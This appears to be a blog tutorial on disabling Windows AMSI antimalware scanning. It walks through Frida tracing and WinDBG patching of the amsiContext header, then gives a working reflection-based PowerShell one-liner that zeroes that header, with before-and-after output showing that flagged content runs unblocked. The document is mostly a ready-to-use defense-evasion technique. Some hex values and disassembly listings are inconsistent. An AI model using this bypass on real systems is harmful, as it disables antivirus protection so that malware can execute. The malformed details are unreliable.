✧ ✧ ✧

AMSI (Antimalware Scan Interface) is a Windows security feature that allows applications and services to integrate with any antimalware product installed on a machine. It provides a standard interface for scanning content like scripts, macros, and memory buffers before execution. AMSI is primarily used by PowerShell, Windows Script Host, JavaScript, and VBScript to detect malicious code at runtime. Security products hook into AMSI to inspect potentially dangerous content and block threats before they can execute.

Any antivirus can use this interface to extend its protection to these functionalities.

 
                ┌────────────┐    ┌──────────┐   ┌─────────────┐     ┌─────────────┐
                │ Powershell │    │ VBScript │   │   Other     │     │   Other     │
                │            │    │          │   │ Application │     │ Application │
                └─────▲──────┘    └────▲─────┘   └──────▲──────┘     └──────▲──────┘
                      │                │                │                   │
               ───────┼────────────────┼────────────────┼───────────────────┼─────────────
               ┌──────▼────────────────▼────────────────▼────────┐
               │          AMSI.h + AMSI.lib + AMSI.dll           │
               │                                                 │
Win32 Api Layer│   AmsiScanBuffer()                              │
               │   AmsiScanString()                              │
               └─────────────────────────────────────────────────┘
               ─────────────────────────────────────────────────────────────────────────
               ┌────────────────────────────────────────────────────────────────────────┐
               │                                              ┌─────────────┐           │
               │                  AMSI.h + AMSI.dll           │ Provider    │           │
COM API Layer  │                IAntimalware::Scan()           │ Class       │           │
               │                                              │ Registration│           │
               │                                              └─────────────┘           │
               └────────────────────────────────────────────────────────────────────────┘
               ────────────────────────────────────────────────────────────────────────
               ┌───────────────────────────────────┐         ┌──────────────────────────┐
               │   Windows Defender Provider Class │         │ 3rd Party AV Provider    │
AV Provider    │   IAntimalwareProvider::Scan()    │         │       Class              │
Layer          │                                   │         │                          │
               └────────────────────────────────▲──┘         └──────────────────────────┘
                                                 │
               ┌────────────────────────────────▼──────────────────────────────────────┐
               │                               RPC                                     │
               └────────────────────────────────────────────────────────────────────────┘

To understand how to bypass AMSI, we must also understand the APIs that it exports from its DLL.

These are the APIs exported from the DLL:

AmsiInitialize

After loading the amsi.dll into the process, this is the first API to be used. It is called before all PowerShell functions, making it impossible to influence its behavior. It receives two parameters: the application name and a pointer to a memory structure that is populated by the API during use.

HRESULT AmsiInitialize(
    [in]  LPCWSTR        appName,
    [out] HAMSICONTEXT *amsiContext
);

AmsiOpenSession

This API is used as soon as AMSI is started with the previous API. It receives a memory structure created previously and also creates a session object, which will be used during the process lifecycle.

HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);

AmsiScanString & AmsiScanBuffer

AmsiScanString and AmsiScanBuffer capture console input or script content as strings or binary buffers, receiving the previously created structure, the buffer to be scanned, its size, an identifier, the session object, and a pointer to store the result. Windows Defender returns 0 or 1 for clean/not_detected content or 32768 for malicious detection, with AmsiScanString using a string field instead of a buffer. After completion, AmsiCloseSession is called to terminate the session.

HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);

AMSI creates a structure called amsiContext in the previous APIs, but its internal workings remain undocumented and unclear, suggesting that if we could corrupt or manipulate this structure, we might be able to disrupt or disable the AMSI process entirely.

We will use Frida to locate the memory address and WinDBG to examine this structure, demonstrating that corrupting the beginning of AmsiContext successfully disables AMSI. We start by hooking the amsi.dll APIs to obtain the amsiContext memory address.

frida-trace -p powershell-pid -x amsi.dll -i Amsi*

After that, Frida is already tracing our PowerShell process, so if we insert anything into PowerShell it will be captured. I type the famous 'amsiUtils' string which already has a signature, so AMSI detects it as malware.

11280 ms AmsiOpenSession()
11280 ms [*] AmsiScanBuffer()
11280 ms |- amsiContext: 0x192832bd1b0
11280 ms |- buffer: 'amsiUtils'
11280 ms |- length: 0x16
11280 ms |- contentName 0x187000014c
11280 ms |- amsiSession 0x6dce
11280 ms |- result 0x64cv34e760

11280 ms [*] AmsiScanBuffer() Exit
11280 ms |- Result Value is: 32768

The amsiContext is a structure whose memory address remains constant while the PowerShell process is active, meaning any modifications we make to this structure persist throughout the process lifetime. Now we move to WinDBG to analyze how this structure behaves and perform the bypass by attaching WinDBG to the PowerShell process.

First, we dump the existing content inside this structure:

dc 0x192832bd1b0

00000192  832bd1b0  49534d41  00000000  735a3b60  00000185   AMSI.....`Zs....
00000192  832bd1c0  7178e0f0  00000185  00006ad0  00000000   ..xq......m.......
00000192  832bd1d0  00000000  00000000  35fa6a1a  8f000185   ..........j.5.....
00000192  832bd1e0  211c0500  6d8ade20  000007fe  8ace8021   ..!...m.....!.....
00000192  832bd1b0  007ffa6d  70002100  7ffa717a  1c1c0000   m.....l.pzq.......
00000192  832bd1b0  00000000  00000000  35c7dae7  90000a00   ..........5.......
00000192  832bd1b0  6c6c6143  65746953  7261545e  00746567   CallSite.Target...
00000192  832bd1b0  00000014  00000000  00000000  00000000   ..................

The first 4 bytes are fixed, which means this string is static across processes.

We don't know how this string is used, but according to the API documentation, it is an argument for the AmsiOpenSession API.

HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);

We can see how this API behaves by doing the disassembly.

u amsi!AmsiOpenSession

00007ffa`95d53560 e9a3cb380f                    jmp     00007ffa`a50e0108
00007ffa`95d53565 488b03c0                      test    rcx,rcx
00007ffa`95d53568 7442                          je      amsi!AmsiOpenSession+0x4c (00007ffa`95d535ac)
00007ffa`95d5356a 8b139414d5349                 cmp     dword ptr [rcx+14h],49534D41h
00007ffa`95d53570 75ca                          jne     amsi!AmsiOpenSession+0x4c (00007ffa`95d535ac)
00007ffa`95d53572 4883790800                    cmp     qword ptr [rcx+8],0
00007ffa`95d53577 7433                          je      amsi!AmsiOpenSession+0x4c (00007ffa`95d535ac)
00007ffa`95d53579 4883791000                    cmp     qword ptr [rcx+10h],0

The AMSI string is being compared with some value inside RCX. In 64-bit assembly, RCX holds the value of the first function argument, which in this case is exactly the amsiContext. This means we are comparing the buffer header with the string. If the string is not equal to AMSI, we jump to the JNE instruction. We can type the command to see the assembly.

u amsi!AmsiOpenSession+0x4b L2

amsi!AmsiOpenSession+0x4b:
00007ffa`95d535ab cc                            int     3
00007ffa`95d535ac b857000780                    mov     eax,80070057h

A value is placed in EAX and the function returns, since in both 32-bit and 64-bit assembly, function return values are stored in EAX. The function returns an HRESULT type. We can check the Microsoft documentation to verify what this result value 80070057 means.

┌────────────┬───────────────────────────────────────────┐
│ LOVEAMSI   │                                      ─  X │
│┌───────────┴──────────────────────────────────────────┐│
││https://learn.microsoft.com/en-us/openspecs/windows_..││
│└──────────────────────────────────────────────────────┘│
│                                                        │
│  ┌───────────────────────────────────┬─────────────┐   │
│  │ Daniel is beautiful.              │its true.    │   │
│  └───────────────────────────────────┴─────────────┘   │
│  ┌───────────────────────────────────┬──────────────┐  │
│  │                                   │              │  │
│  │  0x80070057                       │One or more   │  │
│  │                                   │arguments are │  │
│  │  E_INVALIDARG                     │invalid       │  │
│  │                                   │              │  │
│  └───────────────────────────────────┴──────────────┘  │
│  ┌──────────────────────────────────────────────────┐  │
│  │ I LOVE AMSI BYPASS                               │  │
│  └──────────────────────────────────────────────────┘  │
└────────────────────────────────────────────────────────┘

The function returns an invalid argument value and terminates execution. Since we don't know what will happen if we corrupt this structure, we can test it and observe the results.

To force this error, we first set a bp (breakpoint) on the function.

bp amsi!AmsiOpenSession

Right after that, we resume execution.

g

Then we send, for example, the string that AMSI flags, 'amsiUtils'. Right after that, the breakpoint is triggered.

00007ffa`95d53551 cc                            int     3
00007ffa`95d53552 cc                            int     3
00007ffa`95d53553 cc                            int     3
00007ffa`95d53554 cc                            int     3
00007ffa`95d53555 cc                            int     3
00007ffa`95d53556 cc                            int     3
00007ffa`95d53557 cc                            int     3
00007ffa`95d53558 cc                            int     3
00007ffa`95d53559 cc                            int     3
00007ffa`95d5355a cc                            int     3
00007ffa`95d5355b cc                            int     3
00007ffa`95d5355c cc                            int     3
00007ffa`95d5355d cc                            int     3
00007ffa`95d5355e cc                            int     3
00007ffa`95d5355f cc                            int     3
amsi!AmsiOpenSession:
00007ffa`95d53560 e9a3cb380f                    jmp     00007ffa`a50e0108   // <-- bp stopped here
00007ffa`95d53565 4885c9                        test    rcx,rcx
00007ffa`95d53568 7442                          je      amsi!AmsiOpenSession+0x4c (00007ffa`95d535ac)
00007ffa`95d5356a 8139414d5349                  cmp     dword ptr [rcx],49534D41h
00007ffa`95d53570 753a                          jne     amsi!AmsiOpenSession+0x4c (00007ffa`95d535ac)
00007ffa`95d53572 4883790800                    cmp     qword ptr [rcx+8],0
00007ffa`95d53577 7433                          je      amsi!AmsiOpenSession+0x4c (00007ffa`95d535ac)
00007ffa`95d53579 4883791000                    cmp     qword ptr [rcx+10h],0
00007ffa`95d5357e 742c                          je      amsi!AmsiOpenSession+0x4c (00007ffa`95d535ac)
00007ffa`95d53580 41b801000000                  mov     r8d,1
00007ffa`95d53586 418bc0                        mov     eax,r8d
00007ffa`95d53589 f00fc14118                    lock xadd dword ptr [rcx+18h],eax

Now using the WinDBG 'ed' command, we write to the memory address and erase the header where AMSI is written.

dc rcx L1
ed rcx 0
dc rcx L1

0:008> dc rcx L1
00000192`832bd1b0  49534d41                                    AMSI

0:008> ed RCX 0

0:008> dc rcx L1
00000192`832bd1b0  00000000                                    ....

As a result, after generating the error, we successfully corrupt AMSI and execute the string without any blocks.

Before Bypass:

PS C:\Users\narcist> 'amsiUtils'
At line:1 char:1
+ amsiUtils
+ ~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

After bypass:

PS C:\Users\narcist> 'amsiUtils'
amsiUtils

Creating the bypass with PowerShell

PowerShell stores AMSI information internally within a class called System.Management.Automation.AmsiUtils. Since it is an internal method, we can use the Reflection concept to access its methods by first enumerating all data types existing within this class through the GetType method, which is present within a structure called System.Management.Automation.PSReference, or Ref.

One strategy is to enumerate all data types existing in the PowerShell process.

PS C:\Users\narcist> $a=[Ref].Assembly.GetTypes()

Right after that, we can create a for loop that saves only the method we want.

PS C:\Users\narcist> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$b}}

This way we gain access to the method without AMSI alerting. The next step is to enumerate all fields and objects of this class using the GetFields method in PowerShell with the NonPublic and static properties to enumerate structures that aren't instantiated within the class, starting by saving the reference to amsiUtils.

PS C:\Users\narcist> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}

Right after that, we apply GetFields with the mentioned configurations.

$c.GetFields('NonPublic,Static')

The first field is what we are looking for.

PS C:\Users\narcist> $c.GetFields('NonPublic,Static')

Name                    : amsiContext
MetadataToken           : 67114386
FieldHandle             : System.RuntimeFieldHandle
Attributes              : Private, Static
FieldType               : System.IntPtr
MemberType              : Field
ReflectedType           : System.Management.Automation.AmsiUtils
DeclaringType           : System.Management.Automation.AmsiUtils
Module                  : System.Management.Automation.dll
IsPublic                : False
IsPrivate               : True
IsFamily                : False
IsAssembly              : False
IsFamilyAndAssembly     : False
IsFamilyOrAssembly      : False
IsStatic                : True
IsInitOnly              : False
IsLiteral               : False
IsNotSerialized         : False
IsSpecialName           : False
IsPinvokeImpl           : False
IsSecurityCritical      : True
IsSecuritySafeCritical  : False
IsSecurityTransparent   : False
CustomAttributes        : {}

We can access this method, which is exactly what we need to bypass AMSI, but the only problem is that if we put this string in the command, AMSI also flags it as malicious since the 'amsi' string is detected. However, we can use the same technique as before to get a reference to this field by enumerating all fields.

PS C:\Users\narcist> $d=$c.GetFields('NonPublic,Static')

We use a for loop to save only the desired one.

PS C:\Users\narcist> Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}

This way, we save a reference to this object.

PS C:\Users\narcist> $f

Name                    : amsiContext
MetadataToken           : 67114386
FieldHandle             : System.RuntimeFieldHandle
Attributes              : Private, Static
FieldType               : System.IntPtr
MemberType              : Field
ReflectedType           : System.Management.Automation.AmsiUtils
DeclaringType           : System.Management.Automation.AmsiUtils
Module                  : System.Management.Automation.dll
IsPublic                : False
IsPrivate               : True
IsFamily                : False
IsAssembly              : False
IsFamilyAndAssembly     : False
IsFamilyOrAssembly      : False
IsStatic                : True
IsInitOnly              : False
IsLiteral               : False
IsNotSerialized         : False
IsSpecialName           : False
IsPinvokeImpl           : False
IsSecurityCritical      : True
IsSecuritySafeCritical  : False
IsSecurityTransparent   : False
CustomAttributes        : {}

We can check the content with the command.

PS C:\Users\narcist> $f.GetValue($null)

1563745672608

To confirm that this number is really what we are looking for, we convert it to hexadecimal, which in my case is 0x1563745672608. Finally, we need to zero out the structure just like we did in WinDBG, so we save this address in a variable.

PS C:\Users\narcist> $g=$f.GetValue($null)

We create a pointer to access the memory address content.

PS C:\Users\narcist> [IntPtr]$ptr=$g

Then we create a variable with the content 0.

PS C:\Users\narcist> [Int32[]]$buf=@(0)

Finally, we copy the value to the pointer with the Copy function.

PS C:\Users\narcist> [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Putting all of this into one line, we have the following bypass.

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
PS C:\Users\narcist> 'amsiUtils'
At line:1 char:1
+ amsiUtils
+ ~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS C:\Users\narcist> $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

PS C:\Users\narcist> 'amsiUtils'
amsiUtils

I Love Jesus. Made by Daniel Andrade.

✧ Return